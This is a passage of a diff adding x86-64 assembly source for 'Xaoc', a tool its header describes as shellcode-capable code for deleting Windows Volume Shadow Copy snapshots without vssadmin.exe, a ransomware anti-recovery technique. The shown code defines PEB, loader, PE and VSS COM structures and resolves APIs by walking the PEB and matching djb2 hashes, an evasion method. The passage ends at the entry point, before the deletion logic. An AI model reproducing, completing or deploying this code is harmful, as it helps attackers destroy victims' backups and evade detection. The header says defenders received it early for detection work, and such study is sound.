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@@ -0,0 +1,971 @@
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;----------------------------------------------------------------------------------------------------------------------
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||||
; VirTool: Win64.VirTool.Xaoc
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; Author : Paul L. (@am0nsec)
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||||
; Version: 1.0
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; Link : https://github.com/am0nsec/vx
|
||||
;
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||||
;
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||||
; VirTool features:
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; - Position independent code that can be used as shellcode
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; - Delete VSS snapshots without spawning vssadmin.exe image
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||||
;
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;
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; Please note that the original code (in a more human readable format: i.e., C) for this tool has been sent to various
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; blue-teamer and TI professional prior to its release. This has been decided due to the ongoing ransomware attacks
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; that are deleting VSS snapshot to prevent forensic recovery of encrypted data. 1 month has been provided to identify
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; reliable and scalable detection mechanism.
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||||
;
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||||
;
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||||
; Compilation:
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||||
; - ml64.exe /c /Zi /Fo"XAOS.obj" /W3 /errorReport:prompt XAOS.ASM
|
||||
; - link.exe /SUBSYSTEM:CONSOLE /ENTRY:"xaos" /MACHINE:X64 XAOS.obj
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||||
;
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||||
;
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||||
; Thanks to:
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; - @smelly__vx
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||||
; - deadlock
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||||
; - @Coldzer0x0
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||||
; - @0xA9five
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;----------------------------------------------------------------------------------------------------------------------
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||||
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IFNDEF __XAOS_GUARD__
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||||
__XAOS_GUARD__ EQU <1>
|
||||
|
||||
;----------------------------------------------------------------------------------------------------------------------
|
||||
; Structures
|
||||
;----------------------------------------------------------------------------------------------------------------------
|
||||
GUID STRUCT
|
||||
Data1 DWORD ?
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||||
Data2 WORD ?
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||||
Data3 WORD ?
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||||
Data4 BYTE 7 dup(?)
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||||
GUID ENDS
|
||||
|
||||
_LUID STRUCT
|
||||
LowPart DWORD ?
|
||||
HighPart DWORD ?
|
||||
_LUID ENDS
|
||||
|
||||
_LUID_AND_ATTRIBUTES STRUCT
|
||||
Luid _LUID <>
|
||||
Attributes DWORD ?
|
||||
_LUID_AND_ATTRIBUTES ENDS
|
||||
|
||||
_TOKEN_PRIVILEGES STRUCT
|
||||
PrivilegeCount DWORD ?
|
||||
Privileges _LUID_AND_ATTRIBUTES 1 dup(<>)
|
||||
_TOKEN_PRIVILEGES ENDS
|
||||
|
||||
_VSS_SNAPSHOT_PROP STRUCT
|
||||
m_SnapshotId GUID <>
|
||||
m_SnapshotSetId GUID <>
|
||||
m_lSnapshotsCount QWORD ?
|
||||
m_pwszSnapshotDeviceObject QWORD ?
|
||||
m_pwszOriginalVolumeName QWORD ?
|
||||
m_pwszOriginatingMachine QWORD ?
|
||||
m_pwszServiceMachine QWORD ?
|
||||
m_pwszExposedName QWORD ?
|
||||
m_pwszExposedPath QWORD ?
|
||||
m_ProviderId GUID <>
|
||||
m_lSnapshotAttributes QWORD ?
|
||||
m_tsCreationTimestamp QWORD ?
|
||||
m_eStatus QWORD ?
|
||||
_VSS_SNAPSHOT_PROP ENDS
|
||||
|
||||
_VSS_PROVIDER_PROP STRUCT
|
||||
m_ProviderId GUID <>
|
||||
m_pwszProviderName QWORD ?
|
||||
m_eProviderType DWORD ?
|
||||
m_pwszProviderVersion QWORD ?
|
||||
m_ProviderVersionId GUID <>
|
||||
m_ClassId GUID <>
|
||||
_VSS_PROVIDER_PROP ENDS
|
||||
|
||||
_VSS_OBJECT_PROP STRUCT
|
||||
ObjType QWORD ?
|
||||
UNION
|
||||
Snap _VSS_SNAPSHOT_PROP <>
|
||||
Prov _VSS_PROVIDER_PROP <>
|
||||
ENDS
|
||||
_VSS_OBJECT_PROP ENDS
|
||||
|
||||
LARGE_INTEGER struct
|
||||
LowPart DWORD ? ; 0x0000
|
||||
HighPart DWORD ? ; 0x0004
|
||||
LARGE_INTEGER ends
|
||||
|
||||
ULARGE_INTEGER struct
|
||||
LowPart DWORD ? ; 0x0000
|
||||
HighPart DWORD ? ; 0x0004
|
||||
ULARGE_INTEGER ends
|
||||
|
||||
UNICODE_STRING struct
|
||||
_Length WORD ? ; 0x0000
|
||||
MaximumLength WORD ? ; 0x0002
|
||||
BYTE 4 dup(?) ; padding
|
||||
Buffer QWORD ? ; 0x0008
|
||||
UNICODE_STRING ends
|
||||
|
||||
LIST_ENTRY struct
|
||||
Flink QWORD ? ; 0x0000
|
||||
BLink QWORD ? ; 0x0008
|
||||
LIST_ENTRY ends
|
||||
|
||||
PEB struct
|
||||
InheritedAddressSpace BYTE ? ; 0x0000
|
||||
ReadImageFileExecOptions BYTE ? ; 0x0001
|
||||
BeingDebugged BYTE ? ; 0x0002
|
||||
BitField BYTE ? ; 0x0003
|
||||
Padding0 BYTE 4 dup(?) ; 0x0004
|
||||
Mutant QWORD ? ; 0x0008
|
||||
ImageBaseAddress QWORD ? ; 0x0010
|
||||
Ldr QWORD ? ; 0x0018
|
||||
ProcessParameters QWORD ? ; 0x0020
|
||||
SubSystemData QWORD ? ; 0x0028
|
||||
ProcessHeap QWORD ? ; 0x0030
|
||||
FastPebLock QWORD ? ; 0x0038
|
||||
AtlThunkSListPtr QWORD ? ; 0x0040
|
||||
IFEOKey QWORD ? ; 0x0048
|
||||
CrossProcessFlags DWORD ? ; 0x0050
|
||||
Padding1 BYTE 4 dup(?) ; 0x0054
|
||||
UserSharedInfoPtr QWORD ? ; 0x0058
|
||||
SystemReserved DWORD ? ; 0x0060
|
||||
AtlThunkSListPtr32 DWORD ? ; 0x0064
|
||||
ApiSetMap QWORD ? ; 0x0068
|
||||
TlsExpansionCounter DWORD ? ; 0x0070
|
||||
Padding2 BYTE 4 dup(?) ; 0x0074
|
||||
TlsBitmap QWORD ? ; 0x0078
|
||||
TlsBitmapBits DWORD 2 dup(?) ; 0x0080
|
||||
ReadOnlySharedMemoryBase QWORD ? ; 0x0088
|
||||
SharedData QWORD ? ; 0x0090
|
||||
ReadOnlyStaticServerData QWORD ? ; 0x0098
|
||||
AnsiCodePageData QWORD ? ; 0x00A0
|
||||
OemCodePageData QWORD ? ; 0x00A8
|
||||
UnicodeCaseTableData QWORD ? ; 0x00B0
|
||||
NumberOfProcessors DWORD ? ; 0x00B9
|
||||
NtGlobalFlag DWORD ? ; 0x00BC
|
||||
CriticalSectionTimeout LARGE_INTEGER <> ; 0x00C0
|
||||
HeapSegmentReserve QWORD ? ; 0x00C8
|
||||
HeapSegmentCommit QWORD ? ; 0x00D0
|
||||
HeapDeCommitTotalFreeThreshold QWORD ? ; 0x00D8
|
||||
HeapDeCommitFreeBlockThreshold QWORD ? ; 0x00E0
|
||||
NumberOfHeaps DWORD ? ; 0x00E8
|
||||
MaximumNumberOfHeaps DWORD ? ; 0x00EC
|
||||
ProcessHeaps QWORD ? ; 0x00F0
|
||||
GdiSharedHandleTable QWORD ? ; 0x00F8
|
||||
ProcessStarterHelper QWORD ? ; 0x0100
|
||||
GdiDCAttributeList DWORD ? ; 0x0108
|
||||
Padding3 BYTE 4 dup(?) ; 0x010C
|
||||
LoaderLock QWORD ? ; 0x0110
|
||||
OSMajorVersion DWORD ? ; 0x0118
|
||||
OSMinorVersion DWORD ? ; 0x011C
|
||||
OSBuildNumber WORD ? ; 0x0120
|
||||
OSCSDVersion WORD ? ; 0x0122
|
||||
OSPlatformId DWORD ? ; 0x0124
|
||||
ImageSubsystem DWORD ? ; 0x0128
|
||||
ImageSubsystemMajorVersion DWORD ? ; 0x012C
|
||||
ImageSubsystemMinorVersion DWORD ? ; 0x0130
|
||||
Padding4 BYTE 4 dup(?) ; 0x0134
|
||||
ActiveProcessAffinityMask QWORD ? ; 0x0138
|
||||
GdiHandleBuffer DWORD 60 dup(?) ; 0x0140
|
||||
PostProcessInitRoutine QWORD ? ; 0x0230
|
||||
TlsExpansionBitmap QWORD ? ; 0x0238
|
||||
TlsExpansionBitmapBits DWORD 32 dup(?) ; 0x0240
|
||||
SessionId DWORD ? ; 0x02C0
|
||||
Padding5 BYTE 4 dup(?) ; 0x02C4
|
||||
AppCompatFlags ULARGE_INTEGER <> ; 0x02C8
|
||||
AppCompatFlagsUser ULARGE_INTEGER <> ; 0x02D0
|
||||
pShimData QWORD ? ; 0x02D8
|
||||
AppCompatInfo QWORD ? ; 0x02E0
|
||||
CSDVersion UNICODE_STRING <> ; 0x02E8
|
||||
ActivationContextData QWORD ? ; 0x02F8
|
||||
ProcessAssemblyStorageMap QWORD ? ; 0x0300
|
||||
SystemDefaultActivationContextData QWORD ? ; 0x0308
|
||||
SystemAssemblyStorageMap QWORD ? ; 0x0310
|
||||
MinimumStackCommit QWORD ? ; 0x0318
|
||||
SparePointers QWORD 4 dup(?) ; 0x0320
|
||||
SpareUlongs DWORD 5 dup(?) ; 0x0340
|
||||
BYTE 4 dup(?)
|
||||
WerRegistrationData QWORD ? ; 0x0358
|
||||
WerShipAssertPtr QWORD ? ; 0x0360
|
||||
pUnused QWORD ? ; 0x0368
|
||||
pImageHeaderHash QWORD ? ; 0x0370
|
||||
TracingFlags DWORD ? ; 0x0378
|
||||
Padding6 BYTE 4 dup(?) ; 0x037c
|
||||
CsrServerReadOnlySharedMemoryBase QWORD ? ; 0x0380
|
||||
TppWorkerpListLock QWORD ? ; 0x0388
|
||||
TppWorkerpList LIST_ENTRY <> ; 0x0390
|
||||
WaitOnAddressHashTable QWORD 128 dup(?) ; 0x03A0
|
||||
TelemetryCoverageHeader QWORD ? ; 0x07A0
|
||||
CloudFileFlags DWORD ? ; 0x07A8
|
||||
CloudFileDiagFlags DWORD ? ; 0x07AC
|
||||
PlaceholderCompatibilityMode BYTE ? ; 0x07B0
|
||||
PlaceholderCompatibilityModeReserved BYTE 7 dup(?) ; 0x07B1
|
||||
LeapSecondData QWORD ? ; 0x07B8
|
||||
LeapSecondFlags DWORD ? ; 0x07c0
|
||||
NtGlobalFlag2 DWORD ? ; 0x07c4
|
||||
PEB ends
|
||||
|
||||
PEB_LDR_DATA struct
|
||||
_Length DWORD ? ; 0x0000
|
||||
Initialized BYTE ? ; 0x0004
|
||||
BYTE 3 dup(?) ; padding
|
||||
SsHandle QWORD ? ; 0x0008
|
||||
InLoadOrderModuleList LIST_ENTRY <> ; 0x0010
|
||||
InMemoryOrderModuleList LIST_ENTRY <> ; 0x0020
|
||||
InInitializationOrderModuleList LIST_ENTRY <> ; 0x0030
|
||||
EntryInProgress QWORD ? ; 0x0040
|
||||
ShutdownInProgress BYTE ? ; 0x0048
|
||||
BYTE 7 dup(?) ; padding
|
||||
ShutdownThreadId QWORD ? ; 0x0050
|
||||
PEB_LDR_DATA ends
|
||||
|
||||
RTL_BALANCED_NODE struct
|
||||
_Dummy BYTE 24 dup(?)
|
||||
RTL_BALANCED_NODE ends
|
||||
|
||||
LDR_DATA_TABLE_ENTRY struct
|
||||
InLoadOrderLinks LIST_ENTRY <> ; 0x0000
|
||||
InMemoryOrderLinks LIST_ENTRY <> ; 0x0010
|
||||
InInitializationOrderLinks LIST_ENTRY <> ; 0x0020
|
||||
DllBase QWORD ? ; 0x0030
|
||||
EntryPoint QWORD ? ; 0x0038
|
||||
SizeOfImage DWORD ? ; 0x0040
|
||||
BYTE 4 dup(?) ; padding
|
||||
FullDllName UNICODE_STRING <> ; 0x0048
|
||||
BaseDllName UNICODE_STRING <> ; 0x0058
|
||||
FlagGroup BYTE 4 dup(?) ; 0x0068
|
||||
ObsoleteLoadCount WORD ? ; 0x006C
|
||||
TlsIndex WORD ? ; 0x006E
|
||||
HashLinks LIST_ENTRY <> ; 0x0070
|
||||
TimeDateStamp DWORD ? ; 0x0080
|
||||
BYTE 4 dup(?) ; padding
|
||||
EntryPointActivationContext QWORD ? ; 0x0088
|
||||
_Lock QWORD ? ; 0x0090
|
||||
DdagNode QWORD ? ; 0x0098
|
||||
NodeModuleLink LIST_ENTRY <> ; 0x00A0
|
||||
LoadContext QWORD ? ; 0x00B0
|
||||
ParentDllBase QWORD ? ; 0x00B8
|
||||
SwitchBackContext QWORD ? ; 0x00C0
|
||||
BaseAddressIndexNode RTL_BALANCED_NODE <> ; 0x00C8
|
||||
MappingInfoIndexNode RTL_BALANCED_NODE <> ; 0x00E0
|
||||
OriginalBase QWORD ? ; 0x00F8
|
||||
LoadTime LARGE_INTEGER <> ; 0x0100
|
||||
BaseNameHashValue DWORD ? ; 0x0108
|
||||
LoadReason DWORD ? ; 0x010C
|
||||
ImplicitPathOptions DWORD ? ; 0x0110
|
||||
ReferenceCount DWORD ? ; 0x0114
|
||||
DependentLoadFlags DWORD ? ; 0x0118
|
||||
SigningLevel BYTE ? ; 0x011C
|
||||
LDR_DATA_TABLE_ENTRY ends
|
||||
|
||||
IMAGE_DOS_HEADER struct
|
||||
e_magic WORD ? ; 0x0000
|
||||
e_cblp WORD ? ; 0x0002
|
||||
e_cp WORD ? ; 0x0004
|
||||
e_crlc WORD ? ; 0x0006
|
||||
e_cparhdr WORD ? ; 0x0008
|
||||
e_minalloc WORD ? ; 0x000A
|
||||
e_maxalloc WORD ? ; 0x000C
|
||||
e_ss WORD ? ; 0x000E
|
||||
e_sp WORD ? ; 0x0010
|
||||
e_csum WORD ? ; 0x0012
|
||||
e_ip WORD ? ; 0x0014
|
||||
e_cs WORD ? ; 0x0016
|
||||
e_lfarlc WORD ? ; 0x0018
|
||||
e_ovno WORD ? ; 0x001A
|
||||
e_res WORD 4 dup(?) ; 0x001C
|
||||
e_oemid WORD ? ; 0x0024
|
||||
e_oeminfo WORD ? ; 0x0026
|
||||
e_res2 WORD 10 dup(?) ; 0x0028
|
||||
e_lfanew DWORD ? ; 0x003C
|
||||
IMAGE_DOS_HEADER ends
|
||||
|
||||
IMAGE_FILE_HEADER struct
|
||||
Machine WORD ? ; 0x0000
|
||||
NumberOfSections WORD ? ; 0x0002
|
||||
TimeDateStamp DWORD ? ; 0x0004
|
||||
PointerToSymbolTable DWORD ? ; 0x0008
|
||||
NumberOfSymbols DWORD ? ; 0x000c
|
||||
SizeOfOptionalHeader WORD ? ; 0x0010
|
||||
Characteristics WORD ? ; 0x0012
|
||||
IMAGE_FILE_HEADER ends
|
||||
|
||||
IMAGE_DATA_DIRECTORY struct
|
||||
VirtualAddress DWORD ? ; 0x0000
|
||||
_Size DWORD ? ; 0x0004
|
||||
IMAGE_DATA_DIRECTORY ends
|
||||
|
||||
IMAGE_OPTIONAL_HEADER64 struct
|
||||
Magic WORD ? ; 0x0000
|
||||
MajorLinkerVersion BYTE ? ; 0x0002
|
||||
MinorLinkerVersion BYTE ? ; 0x0003
|
||||
SizeOfCode DWORD ? ; 0x0004
|
||||
SizeOfInitializedData DWORD ? ; 0x0008
|
||||
SizeOfUninitializedData DWORD ? ; 0x000C
|
||||
AddressOfEntryPoint DWORD ? ; 0x0010
|
||||
BaseOfCode DWORD ? ; 0x0014
|
||||
ImageBase QWORD ? ; 0x0018
|
||||
SectionAlignment DWORD ? ; 0x0020
|
||||
FileAlignment DWORD ? ; 0x0024
|
||||
MajorOperatingSystemVersion WORD ? ; 0x0028
|
||||
MinorOperatingSystemVersion WORD ? ; 0x002a
|
||||
MajorImageVersion WORD ? ; 0x002C
|
||||
MinorImageVersion WORD ? ; 0x002E
|
||||
MajorSubsystemVersion WORD ? ; 0x0030
|
||||
MinorSubsystemVersion WORD ? ; 0x0032
|
||||
Win32VersionValue DWORD ? ; 0x0034
|
||||
SizeOfImage DWORD ? ; 0x0038
|
||||
SizeOfHeaders DWORD ? ; 0x003c
|
||||
CheckSum DWORD ? ; 0x0040
|
||||
Subsystem WORD ? ; 0x0044
|
||||
DllCharacteristics WORD ? ; 0x0046
|
||||
SizeOfStackReserve QWORD ? ; 0x0048
|
||||
SizeOfStackCommit QWORD ? ; 0x0050
|
||||
SizeOfHeapReserve QWORD ? ; 0x0058
|
||||
SizeOfHeapCommit QWORD ? ; 0x0060
|
||||
LoaderFlags DWORD ? ; 0x0068
|
||||
NumberOfRvaAndSizes DWORD ? ; 0x006C
|
||||
DataDirectory IMAGE_DATA_DIRECTORY 16 dup(<>) ; 0x0070
|
||||
IMAGE_OPTIONAL_HEADER64 ends
|
||||
|
||||
IMAGE_NT_HEADERS64 struct
|
||||
Signature DWORD ? ; 0x0000
|
||||
FileHeader IMAGE_FILE_HEADER <> ; 0x0004
|
||||
OptionalHeader IMAGE_OPTIONAL_HEADER64 <> ; 0x0018
|
||||
IMAGE_NT_HEADERS64 ends
|
||||
|
||||
IMAGE_EXPORT_DIRECTORY struct
|
||||
Characteristics DWORD ? ; 0x0000
|
||||
TimeDateStamp DWORD ? ; 0x0004
|
||||
MajorVersion WORD ? ; 0x0008
|
||||
MinorVersion WORD ? ; 0x000A
|
||||
_Name DWORD ? ; 0x000C
|
||||
Base DWORD ? ; 0x0010
|
||||
NumberOfFunctions DWORD ? ; 0x0014
|
||||
NumberOfNames DWORD ? ; 0x0018
|
||||
AddressOfFunctions DWORD ? ; 0x001C
|
||||
AddressOfNames DWORD ? ; 0x0020
|
||||
AddressOfNameOrdinals DWORD ? ; 0x0024
|
||||
IMAGE_EXPORT_DIRECTORY ends
|
||||
|
||||
;----------------------------------------------------------------------------------------------------------------------
|
||||
; GlobalOptions COM server
|
||||
;----------------------------------------------------------------------------------------------------------------------
|
||||
GlobalOptionsVtbl STRUCT
|
||||
QueryInterface QWORD ?
|
||||
AddRef QWORD ?
|
||||
Release QWORD ?
|
||||
Set QWORD ?
|
||||
Query QWORD ?
|
||||
GlobalOptionsVtbl ENDS
|
||||
|
||||
PGlobalOptionsVtbl TYPEDEF PTR GlobalOptionsVtbl
|
||||
|
||||
IGlobalOptions STRUCT
|
||||
lpVtbl PGlobalOptionsVtbl ?
|
||||
IGlobalOptions ENDS
|
||||
|
||||
;----------------------------------------------------------------------------------------------------------------------
|
||||
; VssCoordinator COM server
|
||||
;----------------------------------------------------------------------------------------------------------------------
|
||||
VssCoordinatorVtbl STRUCT
|
||||
QueryInterface QWORD ?
|
||||
AddRef QWORD ?
|
||||
Release QWORD ?
|
||||
SetContext QWORD ?
|
||||
StartSnapshotSet QWORD ?
|
||||
AddToSnapshotSet QWORD ?
|
||||
DoSnapshotSet QWORD ?
|
||||
GetSnapshotProperties QWORD ?
|
||||
ExposeSnapshot QWORD ?
|
||||
ImportSnapshots QWORD ?
|
||||
Query QWORD ?
|
||||
DeleteSnapshots QWORD ?
|
||||
BreakSnapshotSet QWORD ?
|
||||
RevertToSnapshot QWORD ?
|
||||
QueryRevertStatus QWORD ?
|
||||
IsVolumeSupported QWORD ?
|
||||
IsVolumeSnapshotted QWORD ?
|
||||
SetWriterInstance QWORD ?
|
||||
VssCoordinatorVtbl ENDS
|
||||
|
||||
PVssCoordinatorVtbl TYPEDEF PTR VssCoordinatorVtbl
|
||||
|
||||
IVssCoordinator STRUCT
|
||||
lpVtbl PVssCoordinatorVtbl ?
|
||||
IVssCoordinator ENDS
|
||||
|
||||
;----------------------------------------------------------------------------------------------------------------------
|
||||
; VssEnumObject COM server
|
||||
;----------------------------------------------------------------------------------------------------------------------
|
||||
VssEnumObjectVtbl STRUCT
|
||||
QueryInterface QWORD ?
|
||||
AddRef QWORD ?
|
||||
Release QWORD ?
|
||||
Next QWORD ?
|
||||
Skip QWORD ?
|
||||
Reset QWORD ?
|
||||
Clone QWORD ?
|
||||
VssEnumObjectVtbl ENDS
|
||||
|
||||
PVssEnumObjectVtbl TYPEDEF PTR VssEnumObjectVtbl
|
||||
|
||||
IVssEnumObject STRUCT
|
||||
lpVtbl PVssEnumObjectVtbl ?
|
||||
IVssEnumObject ENDS
|
||||
|
||||
ENDIF ; !__XAOS_GUARD__
|
||||
|
||||
;----------------------------------------------------------------------------------------------------------------------
|
||||
; Code segment
|
||||
;----------------------------------------------------------------------------------------------------------------------
|
||||
_TEXT$00 SEGMENT ALIGN(10h) 'CODE'
|
||||
|
||||
; @brief Collection of GUID for diffrent COM classes.
|
||||
Classes PROC
|
||||
; @brief GUID of the GlobalOptions COM class: 0000034B-0000-0000-C000-000000000046
|
||||
CLSID_GlobalOptions LABEL PTR
|
||||
dword 0000034Bh
|
||||
word 0000h
|
||||
word 0000h
|
||||
byte 0c0h
|
||||
byte 00h
|
||||
byte 00h
|
||||
byte 00h
|
||||
byte 00h
|
||||
byte 00h
|
||||
byte 00h
|
||||
byte 46h
|
||||
; @brief GUID of the VssCoordinator COM class: e579ab5f-1cc4-44b4-bed9-de0991ff0623
|
||||
CLSID_VssCoordinator LABEL PTR
|
||||
dword 0e579ab5fh
|
||||
word 1cc4h
|
||||
word 44b4h
|
||||
byte 0beh
|
||||
byte 0d9h
|
||||
byte 0deh
|
||||
byte 09h
|
||||
byte 91h
|
||||
byte 0ffh
|
||||
byte 06h
|
||||
byte 23h
|
||||
; @brief NULL GUID
|
||||
CLSID_NULL LABEL PTR
|
||||
dword 00000000h
|
||||
word 0000h
|
||||
word 0000h
|
||||
byte 00h
|
||||
byte 00h
|
||||
byte 00h
|
||||
byte 00h
|
||||
byte 00h
|
||||
byte 00h
|
||||
byte 00h
|
||||
byte 00h
|
||||
Classes ENDP
|
||||
|
||||
|
||||
; @brief Collection of GUID for diffrent COM interfaces.
|
||||
Interfaces PROC
|
||||
; @brief GUID of the GlobalOptions COM interface: 0000015B-0000-0000-C000-000000000046
|
||||
IID_GlobalOptions LABEL PTR
|
||||
dword 0000015Bh
|
||||
word 0000h
|
||||
word 0000h
|
||||
byte 0c0h
|
||||
byte 00h
|
||||
byte 00h
|
||||
byte 00h
|
||||
byte 00h
|
||||
byte 00h
|
||||
byte 00h
|
||||
byte 46h
|
||||
; @brief GUID of the VssCoordinator COM interface: da9f41d4-1a5d-41d0-a614-6dfd78df5d05
|
||||
IID_VssCoordinator LABEL PTR
|
||||
dword 0da9f41d4h
|
||||
word 1a5dh
|
||||
word 41d0h
|
||||
byte 0a6h
|
||||
byte 014h
|
||||
byte 6dh
|
||||
byte 0fdh
|
||||
byte 78h
|
||||
byte 0dfh
|
||||
byte 5dh
|
||||
byte 05h
|
||||
Interfaces ENDP
|
||||
|
||||
|
||||
; @brief Collection of COM objects.
|
||||
Objects PROC
|
||||
GlobalOptions LABEL PTR
|
||||
IGlobalOptions <>
|
||||
VssCoordinator LABEL PTR
|
||||
IVssCoordinator <>
|
||||
VssEnumObject LABEL PTR
|
||||
IVssEnumObject <>
|
||||
Objects ENDP
|
||||
|
||||
|
||||
; @brief Collection of function pointers
|
||||
Functions PROC
|
||||
; ntdll.dll function
|
||||
LdrLoadDll LABEL PTR
|
||||
QWORD ?
|
||||
RtlAdjustPrivilege LABEL PTR
|
||||
QWORD ?
|
||||
; kernel32.dll functions
|
||||
CloseHandle LABEL PTR
|
||||
QWORD ?
|
||||
ExitProcess LABEL PTR
|
||||
QWORD ?
|
||||
VirtualProtect LABEL PTR
|
||||
QWORD ?
|
||||
; ole32.dll functions
|
||||
CoCreateInstance LABEL PTR
|
||||
QWORD ?
|
||||
CoInitializeEx LABEL PTR
|
||||
QWORD ?
|
||||
CoInitializeSecurity LABEL PTR
|
||||
QWORD ?
|
||||
CoUninitialize LABEL PTR
|
||||
QWORD ?
|
||||
Functions ENDP
|
||||
|
||||
|
||||
; @brief Initialise the tool by resolving all the required modules and their functions.
|
||||
ResolveFunctionAddresses PROC
|
||||
;----------------------------------------------------------------------------------------------------------------------
|
||||
; 1. Find the base of the module if not provided (will only work for ntdll in order to find LdrLoadDll).
|
||||
;----------------------------------------------------------------------------------------------------------------------
|
||||
_start:
|
||||
cmp rdx, 00h ;
|
||||
jnz _get_export_directrory ;
|
||||
|
||||
mov rdx, gs:[60h] ; Get process environment block (PEB)
|
||||
cmp [rdx].PEB.OSMajorVersion, 0Ah ;
|
||||
jne _exit ; Jump if not Windows 10
|
||||
|
||||
; Get the base address of ntdll
|
||||
mov rdx, [rdx].PEB.Ldr ;
|
||||
mov rdx, [rdx].PEB_LDR_DATA.InMemoryOrderModuleList.Flink - 10h ; First loaded module: e.g. xaos.exe
|
||||
mov rdx, [rdx].LDR_DATA_TABLE_ENTRY.InMemoryOrderLinks.Flink - 10h ; Second loaded module: e.g. ntdll.dll
|
||||
mov rdx, [rdx].LDR_DATA_TABLE_ENTRY.DllBase ; Image base of the module
|
||||
|
||||
;----------------------------------------------------------------------------------------------------------------------
|
||||
; 2. Get the Export Address Table (EAT) of the module.
|
||||
;----------------------------------------------------------------------------------------------------------------------
|
||||
_get_export_directrory:
|
||||
; Get module export directory
|
||||
mov r15, rdx ;
|
||||
cmp [rdx].IMAGE_DOS_HEADER.e_magic, 5A4Dh ; DOS Header --> MZ
|
||||
jne _exit ;
|
||||
|
||||
mov ebx, [rdx].IMAGE_DOS_HEADER.e_lfanew ; RVA of IMAGE_NT_HEADERS64
|
||||
add rdx, rbx ;
|
||||
cmp [rdx].IMAGE_NT_HEADERS64.Signature, 00004550h ; NT Header --> PE00
|
||||
jne _exit ;
|
||||
|
||||
mov ebx, IMAGE_NT_HEADERS64.OptionalHeader ; RVA of IMAGE_OPTIONAL_HEADER64
|
||||
add rdx, rbx ;
|
||||
cmp [rdx].IMAGE_OPTIONAL_HEADER64.Magic, 20bh ; Optional header --> 0x20b
|
||||
jne _exit ;
|
||||
|
||||
lea rdx, [rdx].IMAGE_OPTIONAL_HEADER64.DataDirectory ; First entry of the DataDirectory array
|
||||
mov ebx, [rdx].IMAGE_DATA_DIRECTORY.VirtualAddress ; RVA of IMAGE_EXPORT_DIRECTORY
|
||||
mov rdx, r15 ; ImageBase
|
||||
add rdx, rbx ; Module + RVA
|
||||
|
||||
;----------------------------------------------------------------------------------------------------------------------
|
||||
; 3. Resolve address of the diffrent tables
|
||||
;----------------------------------------------------------------------------------------------------------------------
|
||||
_get_table_addresses:
|
||||
xor r14, r14 ;
|
||||
xor r13, r13 ;
|
||||
xor r12, r12 ;
|
||||
xor r11, r11 ;
|
||||
|
||||
mov ebx, [rdx].IMAGE_EXPORT_DIRECTORY.AddressOfNames ; Address of the function name
|
||||
mov r11, r15 ; Function name RVA
|
||||
add r11, rbx ; ImageBase + RVA
|
||||
|
||||
mov ebx, [rdx].IMAGE_EXPORT_DIRECTORY.AddressOfFunctions ; Address of function pointers
|
||||
mov r12, r15 ;
|
||||
add r12, rbx ;
|
||||
|
||||
mov ebx, [rdx].IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals ; Address of function ordinals
|
||||
mov r13, r15 ;
|
||||
add r13, rbx ;
|
||||
|
||||
mov r14d, [rdx].IMAGE_EXPORT_DIRECTORY.NumberOfNames ; Total number of named functions
|
||||
dec r14 ;
|
||||
|
||||
;----------------------------------------------------------------------------------------------------------------------
|
||||
; 4. Parse the exported functions to find the functiosn required by this tool
|
||||
;----------------------------------------------------------------------------------------------------------------------
|
||||
dec rcx ;
|
||||
_parse_functions_name:
|
||||
mov rbx, 4h ; sizeof(DWORD)
|
||||
imul rbx, r14 ; siezof(DWORD) * RCX
|
||||
mov esi, [r11 + rbx] ; Function RVA
|
||||
add rsi, r15 ; Function RVA + ImageBase
|
||||
|
||||
mov ebx, 5381h ; hash = 0x5381
|
||||
_djb2_hash:
|
||||
mov r10d, ebx ; Store original hash value for later
|
||||
shl ebx, 05h ; hash << 5
|
||||
add ebx, r10d ; (hash << 5) + hash
|
||||
|
||||
xor r10d, r10d ; Clean temporary hash value
|
||||
mov r10b, byte ptr [rsi] ; Get ASCII char
|
||||
add ebx, r10d ; ((hash << 5) + hash) + char
|
||||
|
||||
inc rsi ; Next string char
|
||||
cmp byte ptr [rsi], 00h ; End of string
|
||||
jne _djb2_hash ;
|
||||
|
||||
;----------------------------------------------------------------------------------------------------------------------
|
||||
; 5. Check hash value
|
||||
;----------------------------------------------------------------------------------------------------------------------
|
||||
mov r10d, dword ptr [r8 + 4 * rcx] ;
|
||||
cmp r10d, ebx ; Check if hashes matches
|
||||
je _get_function_address ;
|
||||
dec r14 ;
|
||||
jmp _parse_functions_name ;
|
||||
|
||||
;----------------------------------------------------------------------------------------------------------------------
|
||||
; 6. Get the address of the function and modify the jump table
|
||||
;----------------------------------------------------------------------------------------------------------------------
|
||||
_get_function_address:
|
||||
mov rax, 2h ; sizeof(WORD)
|
||||
imul rax, r14 ; sizeof(WORD) * R14
|
||||
mov ax, [r13 + rax] ; AX = function ordinal
|
||||
|
||||
imul rax, 4 ; sizeof(DWORD) * ordinal
|
||||
mov eax, [r12 + rax] ; RVA of function
|
||||
mov rbx, r15 ; RBX = ImageBase
|
||||
add rbx, rax ; RBX = address of function
|
||||
mov qword ptr [r9 + 8 * rcx], rbx
|
||||
|
||||
_reset_loopp:
|
||||
mov r14d, [rdx].IMAGE_EXPORT_DIRECTORY.NumberOfNames ; Reset number of named functions
|
||||
dec r14 ;
|
||||
dec rcx ; Next function to find
|
||||
jns _parse_functions_name ;
|
||||
|
||||
;----------------------------------------------------------------------------------------------------------------------
|
||||
; 7. Exit this routine
|
||||
;----------------------------------------------------------------------------------------------------------------------
|
||||
_exit:
|
||||
xor eax, eax
|
||||
inc eax
|
||||
ret
|
||||
ResolveFunctionAddresses ENDP
|
||||
|
||||
|
||||
; @brief Entry point.
|
||||
xaoc PROC
|
||||
push rbp ; Frame pointer
|
||||
mov rbp, rsp ; Stack pointer
|
||||
sub rsp, 1F0h ; Room for stack
|
||||
and rsp, not 8 ; Shadow stack alignment
|
||||
|
||||
_start:
|
||||
;----------------------------------------------------------------------------------------------------------------------
|
||||
; 1. Initialise the tool by resolving all the modules and their functions
|
||||
;
|
||||
; rsp + 20h - dwLdrLoadDll 0x0fd5649f
|
||||
; rsp + 24h - dwRtlAdjustPrivilege 0xbf6edb85
|
||||
; rsp + 28h - dwCloseHandle 0xdeef8303
|
||||
; rsp + 2Ch - dwExitProces 0x5de7ec9a
|
||||
; rsp + 30h - dwVirtualProtect 0xe77dd909
|
||||
; rsp + 34h - dwCoCreateInstance 0xa5121f9c
|
||||
; rsp + 38h - dwCoInitializeEx 0x24fb7662
|
||||
; rsp + 4Ch - dwCoInitializeSecurity 0xa982945d
|
||||
; rsp + 40h - dwCoUninitialize 0x6473dfc8
|
||||
